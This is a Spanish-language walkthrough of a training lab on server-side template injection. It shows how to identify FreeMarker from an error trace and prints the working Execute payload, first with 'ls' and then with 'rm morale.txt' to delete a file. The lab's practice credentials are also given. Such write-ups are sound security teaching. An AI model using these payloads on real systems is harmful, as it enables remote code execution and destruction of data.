
Descripción
This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and use the documentation to work out how to execute arbitrary code, then delete the morale.txt
file from Carlos’s home directory.
You can log in to your own account using the following credentials:
content-manager:C0nt3ntM4n4g3r
Server-side template injection using documentation writeup
Accedemos al laboratorio e iniciamos sesión en ‘My account’ con el usuario ‘content-manager’ y la contraseña ‘C0nt3ntM4n4g3r’. Ahora al ir a cualquier producto podremos editar la plantilla:

Editamos el ${product.price} y lo cambiamos por ${product.pricetest}, causando un error:
FreeMarker template error (DEBUG mode; use RETHROW in production!): The following has evaluated to null or missing: ==> product.pricetest [in template "freemarker" at line 4, column 62] ---- Tip: It's the step after the last dot that caused this error, not those before it. ---- Tip: If the failing expression is known to legally refer to something that's sometimes null or missing, either specify a default value like myOptionalVar!myDefault, or use <#if myOptionalVar??>when-present<#else>when-missing. (These only cover the last step of the expression; to cover the whole expression, use parenthesis: (myOptionalVar.foo)!myDefault, (myOptionalVar.foo)?? ---- ---- FTL stack trace ("~" means nesting-related): - Failed at: ${product.pricetest} [in template "freemarker" at line 4, column 60] ---- Java stack trace (for programmers): ---- freemarker.core.InvalidReferenceException: [... Exception message was already printed; see it above ...] at freemarker.core.InvalidReferenceException.getInstance(InvalidReferenceException.java:134) at freemarker.core.EvalUtil.coerceModelToTextualCommon(EvalUtil.java:479) at freemarker.core.EvalUtil.coerceModelToStringOrMarkup(EvalUtil.java:401) at freemarker.core.EvalUtil.coerceModelToStringOrMarkup(EvalUtil.java:370) at freemarker.core.DollarVariable.calculateInterpolatedStringOrMarkup(DollarVariable.java:100) at freemarker.core.DollarVariable.accept(DollarVariable.java:63) at freemarker.core.Environment.visit(Environment.java:331) at freemarker.core.Environment.visit(Environment.java:337) at freemarker.core.Environment.process(Environment.java:310) at freemarker.template.Template.process(Template.java:383) at lab.actions.templateengines.FreeMarker.processInput(FreeMarker.java:58) at lab.actions.templateengines.FreeMarker.act(FreeMarker.java:42) at lab.actions.common.Action.act(Action.java:57) at lab.actions.common.Action.run(Action.java:39) at lab.actions.templateengines.FreeMarker.main(FreeMarker.java:23)
Ahora sabemos que la plantilla es ‘Freemarker template’, por lo que buscamos su documentación.
Explorando en internet, podremos ver que existe el siguiente payload:
${"freemarker.template.utility.Execute"?new()("código")}
Al ejecutar:
${"freemarker.template.utility.Execute"?new()("ls")}
Vemos que el archivo ‘morale.txt’ se encuentra en el directorio de trabajo actual:

Cambiaremos ahora el comando por el siguiente:
${"freemarker.template.utility.Execute"?new()("rm morale.txt")}
Y al pulsar ‘Preview’ completaremos el laboratorio:
